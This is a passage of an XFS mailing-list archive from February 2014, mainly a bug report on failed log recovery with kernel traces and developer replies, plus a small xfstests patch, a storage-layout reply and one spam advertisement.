rule name description ---- ---------------------- -------------------------------------------------- Hi, A virtual server of mine stopped working properly yesterday because one partition became corrupted (or corruption has been stumbled over). Restarting the system any attempt to mount that partition (without -o norecovery,ro) results in the following trace (transcribed): XFS (sda5): Mounting Filesystem XFS (sda5): Starting recovery (logdev: internal) XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file /var/cache/kernel/linux-git/fs/xfs/xfs_alloc.c. Caller 0xffffffff8116d926 CPU: 0 PID: 606 Commm: mount Not tainted 3.13.0-hetzner #1 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 000000000002eb84 ffff88001dc53ab8 ffffffff813ca339 ffff88001dc53ad8 ffffffff81156d4a ffffffff8116d926 00000000000002a8 ffff88001dc53b68 ffffffff8116b8dd ffff88001dd7ccc0 0000000000000000 0000000000000001 Call Trace: [] dump_stack+0x19/0x1b [] xfs_error_report+0x3a0x40 [] ? xfs_free_extent+0xd6/0x120 [] xfs_free_ag_extent+0x48d/0x5c0 [] xfs_free_extent+0xd6/0x120 [] ? kmem_cache_alloc+0xa4/0xb0 [] xlog_recover_process_efi+0x170/0x1b0 [] ? wake_up_bit+0x29/0x40 [] xlog_recover_process_efis.isra.27+0x46/0x80 [] xlog_recover_finish+0x2c/0x50 [] xfs_log_mount_finish+0x2c/0x50 [] ? xfs_iunlock+0x6e/0x90 [] xfs_mountfs+0x473/0x690 [] xfs_fs_fill_super+0x292/0x310 [] mount_bdev+0x191/0x1d0 [] ? ida_get_new_above+0x21c/0x290 [] ? xfs_parseargs+0xc10/0xc10 [] xfs_fs_mount+0x10/0x20 [] mount_fs+0x1b/0xd0 [] vfs_kern_mount+0x6d/0x100 [] do_mount+0x1fb/0x9d0 [] ? strndup_user+0x53/0x70 [] SyS_mount+0x89/0xd0 [] system_call_fastpath+0x16/0x1b XFS (sda5): Failed to recover EFIs XFS (sda5): log mount finish failed After that the mount process remains in D state and any attempt to xfs_repair that fileysystem blocks (reboot needed to do anything). Is that expected or should the mount either completely fail, returning proper error to mount and leave system in a state as if the mount had never been attempted (except for the log messages)? =46rom the cause of this, I guess it's some left-over of "unclean" live migration of the KVM guest this system is running on some longer time ago. After live migration some processes started dying weird deaths. Rebooting the system worked fine by the time though. The only major load on that system (not so heavy, about 10-20 IO-ops per second on average, mostly writes) is updating RRD files and running a slave MySQL (InnoDB) database. I recovered the filesystem with xfs_repair -L /dev/sda5 though the InnoDB state remaining is rather broken. xfs_repair reported only claimed free space issues (I didn't save its output). Bruno From dmonakhov@openvz.org Fri Feb 21 02:56:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 158A77F9D for ; Fri, 21 Feb 2014 02:56:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EA8448F8059 for ; Fri, 21 Feb 2014 00:55:58 -0800 (PST) X-ASG-Debug-ID: 1392972954-04bdf00fca226050001-NocioJ Received: from relay.sw.ru (mailhub.sw.ru [195.214.232.25]) by cuda.sgi.com with ESMTP id gNB4JtXFO1NFusS8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 21 Feb 2014 00:55:56 -0800 (PST) X-Barracuda-Envelope-From: dmonakhov@openvz.org X-Barracuda-Apparent-Source-IP: 195.214.232.25 Received: from mct-mail.qa.sw.ru ([10.29.1.112]) by relay.sw.ru (8.13.4/8.13.4) with ESMTP id s1L8tnIj011443; Fri, 21 Feb 2014 12:55:50 +0400 (MSK) From: Dmitry Monakhov To: xfs@oss.sgi.com Cc: Dmitry Monakhov Subject: [PATCH] xfstest generic/280: use waidpid instead of ugly sleep Date: Fri, 21 Feb 2014 12:55:48 +0400 X-ASG-Orig-Subj: [PATCH] xfstest generic/280: use waidpid instead of ugly sleep Message-Id: <1392972948-2463-1-git-send-email-dmonakhov@openvz.org> X-Mailer: git-send-email 1.7.7.6 X-Barracuda-Connect: mailhub.sw.ru[195.214.232.25] X-Barracuda-Start-Time: 1392972955 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Signed-off-by: Dmitry Monakhov --- tests/generic/280 | 3 ++- 1 files changed, 2 insertions(+), 1 deletions(-) diff --git a/tests/generic/280 b/tests/generic/280 index 815a2c5..7a2d1d0 100755 --- a/tests/generic/280 +++ b/tests/generic/280 @@ -61,9 +61,10 @@ quotacheck -u -g $SCRATCH_MNT 2>/dev/null quotaon $SCRATCH_MNT 2>/dev/null xfs_freeze -f $SCRATCH_MNT setquota -u root 1 2 3 4 $SCRATCH_MNT & +pid=$! sleep 1 xfs_freeze -u $SCRATCH_MNT -sleep 1 +wait $pid umount $SCRATCH_DEV # Failure comes in the form of a deadlock. -- 1.7.1 From eflorac@intellique.com Fri Feb 21 02:58:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C68E97FAA for ; Fri, 21 Feb 2014 02:58:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AFE628F8039 for ; Fri, 21 Feb 2014 00:58:10 -0800 (PST) X-ASG-Debug-ID: 1392973086-04cb6c6de0654b60001-NocioJ Received: from smtp1-g21.free.fr (smtp1-g21.free.fr [212.27.42.1]) by cuda.sgi.com with ESMTP id Rwt8ngghLeQWUimu for ; Fri, 21 Feb 2014 00:58:07 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.1 Received: from galadriel.home (unknown [82.235.234.79]) by smtp1-g21.free.fr (Postfix) with ESMTP id A9D7E940099; Fri, 21 Feb 2014 09:58:01 +0100 (CET) Date: Fri, 21 Feb 2014 09:57:42 +0100 From: Emmanuel Florac To: stan@hardwarefreak.com Cc: "C. Morgan Hamill" , xfs@oss.sgi.com Subject: Re: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140221095742.0ca161b0@galadriel.home> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <5306C90B.1000904@hardwarefreak.com> References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp1-g21.free.fr[212.27.42.1] X-Barracuda-Start-Time: 1392973086 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Thu, 20 Feb 2014 21:33:31 -0600 vous =C3=A9criviez: > Forget all of this. Forget RAID60. I think you'd be best served by a > concatenation. I fully agree, though I'd use... LVM to perform the concatenation, much more convenient and easy to use than md IMO. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From ivy@future-solar.eicp.net Fri Feb 21 05:11:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6AF3B7F88 for ; Fri, 21 Feb 2014 05:11:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 025E4AC001 for ; Fri, 21 Feb 2014 03:11:20 -0800 (PST) X-ASG-Debug-ID: 1392981075-04cb6c06cf347f60001-NocioJ Received: from future-solar.eicp.net ([219.137.92.182]) by cuda.sgi.com with SMTP id z3uMFi8U2EtQ6hUO for ; Fri, 21 Feb 2014 03:11:16 -0800 (PST) X-Barracuda-Envelope-From: ivy@future-solar.eicp.net X-Barracuda-Apparent-Source-IP: 219.137.92.182 Received: from WIN-BLRPLM8ASA2[127.0.0.1] by WIN-BLRPLM8ASA2[127.0.0.1] (SMTPD32); Fri, 21 Feb 2014 19:11:11 +0800 From: "ivy@future-solar.eicp.net" Subject: xfspromotion of solar home system products To: "xfs" X-ASG-Orig-Subj: xfspromotion of solar home system products MIME-Version: 1.0 Sender: ivy@future-solar.eicp.net Reply-To: sales3@gzfet.com Date: Fri, 21 Feb 2014 19:11:11 +0800 X-Priority: 3 X-DNSRBL: X-MAIL: PS-MAM01.PSheng.com q9QDEkb8018968 X-Mailer: Foxmail 7.0.1.91[cn] Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[219.137.92.182] X-Barracuda-Start-Time: 1392981075 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145348 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20140221111119.F2E811296194@cuda.sgi.com>

Dear purchasing manager,

This is Echo Li from future solar. 

Our designing principle is EASY & SIMPLE, for operation, maintenance, as well as the transportation and installation. The appliances like lights, TV, fridge can all be supported by the solar systems. The systems are available for the rural areas and some areas lack of electric.

We are a factory with 150 workers. & 7 years experience in the solar power system field
With certificate: ROHS CE IEC,ISO9000, 6 patents about the solar power system.
Keep good quality and competitive price for global valued customers.
Hope we have opportunity for cooperation in the near future.

Thanks and best regards,

Company:GuangZhou Future Solar Technology co.,LTD

Tel:(0086)20-82021616 82021617 29136269

Fax:(0086)20-82021617

Mob:(0086)18054271591

Contact:Echo Li

Add:3F,Building B,Honghao Industrial Zone,Xiayuan,Huangpu Area,Guangzhou,China

P.C:510730

From tinguely@sgi.com Fri Feb 21 08:14:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 045A47FA7 for ; Fri, 21 Feb 2014 08:14:12 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay1.corp.sgi.com (Postfix) with ESMTP id C42768F806F; Fri, 21 Feb 2014 06:14:08 -0800 (PST) Message-ID: <53075F34.7010703@sgi.com> Date: Fri, 21 Feb 2014 08:14:12 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: =?ISO-8859-1?Q?Bruno_Pr=E9mont?= CC: xfs@oss.sgi.com, Ben Myers Subject: Re: XFS Failed to recover EFIs - XFS_WANT_CORRUPTED_GOTO at line 1602 of xfs_alloc.c References: <20140221084717.3364a23e@pluto> In-Reply-To: <20140221084717.3364a23e@pluto> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit On 02/21/14 01:47, Bruno Prémont wrote: > Hi, > > A virtual server of mine stopped working properly yesterday because one > partition became corrupted (or corruption has been stumbled over). > > > Restarting the system any attempt to mount that partition (without > -o norecovery,ro) results in the following trace (transcribed): > XFS (sda5): Mounting Filesystem > XFS (sda5): Starting recovery (logdev: internal) > XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file > /var/cache/kernel/linux-git/fs/xfs/xfs_alloc.c. Caller > 0xffffffff8116d926 > CPU: 0 PID: 606 Commm: mount Not tainted 3.13.0-hetzner #1 > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 > 000000000002eb84 ffff88001dc53ab8 ffffffff813ca339 ffff88001dc53ad8 > ffffffff81156d4a ffffffff8116d926 00000000000002a8 ffff88001dc53b68 > ffffffff8116b8dd ffff88001dd7ccc0 0000000000000000 0000000000000001 > Call Trace: > [] dump_stack+0x19/0x1b > [] xfs_error_report+0x3a0x40 > [] ? xfs_free_extent+0xd6/0x120 > [] xfs_free_ag_extent+0x48d/0x5c0 > [] xfs_free_extent+0xd6/0x120 > [] ? kmem_cache_alloc+0xa4/0xb0 > [] xlog_recover_process_efi+0x170/0x1b0 > [] ? wake_up_bit+0x29/0x40 > [] xlog_recover_process_efis.isra.27+0x46/0x80 > [] xlog_recover_finish+0x2c/0x50 > [] xfs_log_mount_finish+0x2c/0x50 > [] ? xfs_iunlock+0x6e/0x90 > [] xfs_mountfs+0x473/0x690 > [] xfs_fs_fill_super+0x292/0x310 > [] mount_bdev+0x191/0x1d0 > [] ? ida_get_new_above+0x21c/0x290 > [] ? xfs_parseargs+0xc10/0xc10 > [] xfs_fs_mount+0x10/0x20 > [] mount_fs+0x1b/0xd0 > [] vfs_kern_mount+0x6d/0x100 > [] do_mount+0x1fb/0x9d0 > [] ? strndup_user+0x53/0x70 > [] SyS_mount+0x89/0xd0 > [] system_call_fastpath+0x16/0x1b > XFS (sda5): Failed to recover EFIs > XFS (sda5): log mount finish failed curious on which version of Linux hit this problem? > > > After that the mount process remains in D state and any attempt to > xfs_repair that fileysystem blocks (reboot needed to do anything). > > Is that expected or should the mount either completely fail, returning > proper error to mount and leave system in a state as if the mount had > never been attempted (except for the log messages)? The xfs_ail_push_all_sync() is hanging because the EFI was not and will not be removed. There is a patch for this problem, but is waiting for a similar issue in xlog_cil_push() that would change the recovery patch. > > >> From the cause of this, I guess it's some left-over of "unclean" > live migration of the KVM guest this system is running on some longer > time ago. After live migration some processes started dying weird > deaths. Rebooting the system worked fine by the time though. > > The only major load on that system (not so heavy, about 10-20 IO-ops > per second on average, mostly writes) is updating RRD files and > running a slave MySQL (InnoDB) database. > > I recovered the filesystem with xfs_repair -L /dev/sda5 though the > InnoDB state remaining is rather broken. > xfs_repair reported only claimed free space issues (I didn't save its > output). > > Bruno > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs --Mark. From bonbons@linux-vserver.org Fri Feb 21 08:48:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C9A957FA3 for ; Fri, 21 Feb 2014 08:48:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 47197AC006 for ; Fri, 21 Feb 2014 06:48:04 -0800 (PST) X-ASG-Debug-ID: 1392994081-04cb6c6de266b740001-NocioJ Received: from smtprelay.restena.lu (smtprelay.restena.lu [158.64.1.62]) by cuda.sgi.com with ESMTP id SrjmjwLadgYAH6Ix for ; Fri, 21 Feb 2014 06:48:01 -0800 (PST) X-Barracuda-Envelope-From: bonbons@linux-vserver.org X-Barracuda-Apparent-Source-IP: 158.64.1.62 Received: from smtprelay.restena.lu (localhost [127.0.0.1]) by smtprelay.restena.lu (Postfix) with ESMTP id 01FDE10589; Fri, 21 Feb 2014 15:48:01 +0100 (CET) Received: from pluto (pluto.restena.lu [IPv6:2001:a18:1:8::156]) by smtprelay.restena.lu (Postfix) with ESMTPS id E228010581; Fri, 21 Feb 2014 15:48:00 +0100 (CET) Date: Fri, 21 Feb 2014 15:48:00 +0100 From: Bruno =?UTF-8?B?UHLDqW1vbnQ=?= To: Mark Tinguely Cc: xfs@oss.sgi.com, Ben Myers Subject: Re: XFS Failed to recover EFIs - XFS_WANT_CORRUPTED_GOTO at line 1602 of xfs_alloc.c Message-ID: <20140221154800.57b88140@pluto> X-ASG-Orig-Subj: Re: XFS Failed to recover EFIs - XFS_WANT_CORRUPTED_GOTO at line 1602 of xfs_alloc.c In-Reply-To: <53075F34.7010703@sgi.com> References: <20140221084717.3364a23e@pluto> <53075F34.7010703@sgi.com> X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.22; x86_64-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: ClamAV X-Barracuda-Connect: smtprelay.restena.lu[158.64.1.62] X-Barracuda-Start-Time: 1392994081 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, 21 Feb 2014 08:14:12 -0600 Mark Tinguely wrote: > On 02/21/14 01:47, Bruno Pr=C3=A9mont wrote: > > A virtual server of mine stopped working properly yesterday because one > > partition became corrupted (or corruption has been stumbled over). The running kernel was 3.12.6. I would have appreciated if the XFS filesystem had continued being accessible even if only in read-only mode instead of completely shutting down. That would have made it possible to gather more information and doing so more easily as well. > > Restarting the system any attempt to mount that partition (without > > -o norecovery,ro) results in the following trace (transcribed): > > XFS (sda5): Mounting Filesystem > > XFS (sda5): Starting recovery (logdev: internal) > > XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file > > /var/cache/kernel/linux-git/fs/xfs/xfs_alloc.c. Caller > > 0xffffffff8116d926 > > CPU: 0 PID: 606 Commm: mount Not tainted 3.13.0-hetzner #1 > > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 > > 000000000002eb84 ffff88001dc53ab8 ffffffff813ca339 ffff88001dc53ad8 > > ffffffff81156d4a ffffffff8116d926 00000000000002a8 ffff88001dc53b68 > > ffffffff8116b8dd ffff88001dd7ccc0 0000000000000000 0000000000000001 > > Call Trace: > > [] dump_stack+0x19/0x1b > > [] xfs_error_report+0x3a0x40 > > [] ? xfs_free_extent+0xd6/0x120 > > [] xfs_free_ag_extent+0x48d/0x5c0 > > [] xfs_free_extent+0xd6/0x120 > > [] ? kmem_cache_alloc+0xa4/0xb0 > > [] xlog_recover_process_efi+0x170/0x1b0 > > [] ? wake_up_bit+0x29/0x40 > > [] xlog_recover_process_efis.isra.27+0x46/0x80 > > [] xlog_recover_finish+0x2c/0x50 > > [] xfs_log_mount_finish+0x2c/0x50 > > [] ? xfs_iunlock+0x6e/0x90 > > [] xfs_mountfs+0x473/0x690 > > [] xfs_fs_fill_super+0x292/0x310 > > [] mount_bdev+0x191/0x1d0 > > [] ? ida_get_new_above+0x21c/0x290 > > [] ? xfs_parseargs+0xc10/0xc10 > > [] xfs_fs_mount+0x10/0x20 > > [] mount_fs+0x1b/0xd0 > > [] vfs_kern_mount+0x6d/0x100 > > [] do_mount+0x1fb/0x9d0 > > [] ? strndup_user+0x53/0x70 > > [] SyS_mount+0x89/0xd0 > > [] system_call_fastpath+0x16/0x1b > > XFS (sda5): Failed to recover EFIs > > XFS (sda5): log mount finish failed >=20 > curious on which version of Linux hit this problem? The trace was produced by 3.13 kernel from kernel.org. A reboot attempt with 3.12.6 showed a similar trace though I didn't record it. > > After that the mount process remains in D state and any attempt to > > xfs_repair that fileysystem blocks (reboot needed to do anything). > > > > Is that expected or should the mount either completely fail, returning > > proper error to mount and leave system in a state as if the mount had > > never been attempted (except for the log messages)? >=20 > The xfs_ail_push_all_sync() is hanging because the EFI was not and will=20 > not be removed. There is a patch for this problem, but is waiting for a=20 > similar issue in xlog_cil_push() that would change the recovery patch. > > >> From the cause of this, I guess it's some left-over of "unclean" > > live migration of the KVM guest this system is running on some longer > > time ago. After live migration some processes started dying weird > > deaths. Rebooting the system worked fine by the time though. > > > > The only major load on that system (not so heavy, about 10-20 IO-ops > > per second on average, mostly writes) is updating RRD files and > > running a slave MySQL (InnoDB) database. > > > > I recovered the filesystem with xfs_repair -L /dev/sda5 though the > > InnoDB state remaining is rather broken. > > xfs_repair reported only claimed free space issues (I didn't save its > > output). Bruno From tinguely@sgi.com Fri Feb 21 09:00:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F9EF7FAA for ; Fri, 21 Feb 2014 09:00:48 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 43EF0304075; Fri, 21 Feb 2014 07:00:48 -0800 (PST) Message-ID: <53076A24.1080903@sgi.com> Date: Fri, 21 Feb 2014 09:00:52 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: =?UTF-8?B?QnJ1bm8gUHLDqW1vbnQ=?= CC: Ben Myers , xfs@oss.sgi.com Subject: Re: XFS Failed to recover EFIs - XFS_WANT_CORRUPTED_GOTO at line 1602 of xfs_alloc.c References: <20140221084717.3364a23e@pluto> <53075F34.7010703@sgi.com> <20140221154800.57b88140@pluto> In-Reply-To: <20140221154800.57b88140@pluto> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit On 02/21/14 08:48, Bruno Prémont wrote: > On Fri, 21 Feb 2014 08:14:12 -0600 Mark Tinguely wrote: >> On 02/21/14 01:47, Bruno Prémont wrote: >>> A virtual server of mine stopped working properly yesterday because one >>> partition became corrupted (or corruption has been stumbled over). > > The running kernel was 3.12.6. > > I would have appreciated if the XFS filesystem had continued being > accessible even if only in read-only mode instead of completely shutting > down. That would have made it possible to gather more information and > doing so more easily as well. Well it appears that the xlog_cil_push problem is not going to be fixed soon, so I will repost the patch for the log recovery portion. >>> Restarting the system any attempt to mount that partition (without >>> -o norecovery,ro) results in the following trace (transcribed): >>> XFS (sda5): Mounting Filesystem >>> XFS (sda5): Starting recovery (logdev: internal) >>> XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file >>> /var/cache/kernel/linux-git/fs/xfs/xfs_alloc.c. Caller >>> 0xffffffff8116d926 >>> CPU: 0 PID: 606 Commm: mount Not tainted 3.13.0-hetzner #1 >>> Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 >>> 000000000002eb84 ffff88001dc53ab8 ffffffff813ca339 ffff88001dc53ad8 >>> ffffffff81156d4a ffffffff8116d926 00000000000002a8 ffff88001dc53b68 >>> ffffffff8116b8dd ffff88001dd7ccc0 0000000000000000 0000000000000001 >>> Call Trace: >>> [] dump_stack+0x19/0x1b >>> [] xfs_error_report+0x3a0x40 >>> [] ? xfs_free_extent+0xd6/0x120 >>> [] xfs_free_ag_extent+0x48d/0x5c0 >>> [] xfs_free_extent+0xd6/0x120 >>> [] ? kmem_cache_alloc+0xa4/0xb0 >>> [] xlog_recover_process_efi+0x170/0x1b0 >>> [] ? wake_up_bit+0x29/0x40 >>> [] xlog_recover_process_efis.isra.27+0x46/0x80 >>> [] xlog_recover_finish+0x2c/0x50 >>> [] xfs_log_mount_finish+0x2c/0x50 >>> [] ? xfs_iunlock+0x6e/0x90 >>> [] xfs_mountfs+0x473/0x690 >>> [] xfs_fs_fill_super+0x292/0x310 >>> [] mount_bdev+0x191/0x1d0 >>> [] ? ida_get_new_above+0x21c/0x290 >>> [] ? xfs_parseargs+0xc10/0xc10 >>> [] xfs_fs_mount+0x10/0x20 >>> [] mount_fs+0x1b/0xd0 >>> [] vfs_kern_mount+0x6d/0x100 >>> [] do_mount+0x1fb/0x9d0 >>> [] ? strndup_user+0x53/0x70 >>> [] SyS_mount+0x89/0xd0 >>> [] system_call_fastpath+0x16/0x1b >>> XFS (sda5): Failed to recover EFIs >>> XFS (sda5): log mount finish failed >> >> curious on which version of Linux hit this problem? > > The trace was produced by 3.13 kernel from kernel.org. > > A reboot attempt with 3.12.6 showed a similar trace though I didn't > record it. The original problem is attempting to free a partial free extent, I was curious because that problem has been flaring up recently internally and in the community. Thank-you for the information. --Mark. From bfoster@redhat.com Fri Feb 21 09:04:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 102967FAA for ; Fri, 21 Feb 2014 09:04:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F1F2330408A for ; Fri, 21 Feb 2014 07:04:42 -0800 (PST) X-ASG-Debug-ID: 1392995081-04cbb00c296661d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id shpwD5D7V0Vp8vHV for ; Fri, 21 Feb 2014 07:04:42 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1LF4dpE005781 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 21 Feb 2014 10:04:40 -0500 Received: from laptop.bfoster (vpn-52-185.rdu2.redhat.com [10.10.52.185]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1LF4b99016049 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 21 Feb 2014 10:04:38 -0500 Message-ID: <53076B05.8010806@redhat.com> Date: Fri, 21 Feb 2014 10:04:37 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> <20140220002358.GH4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 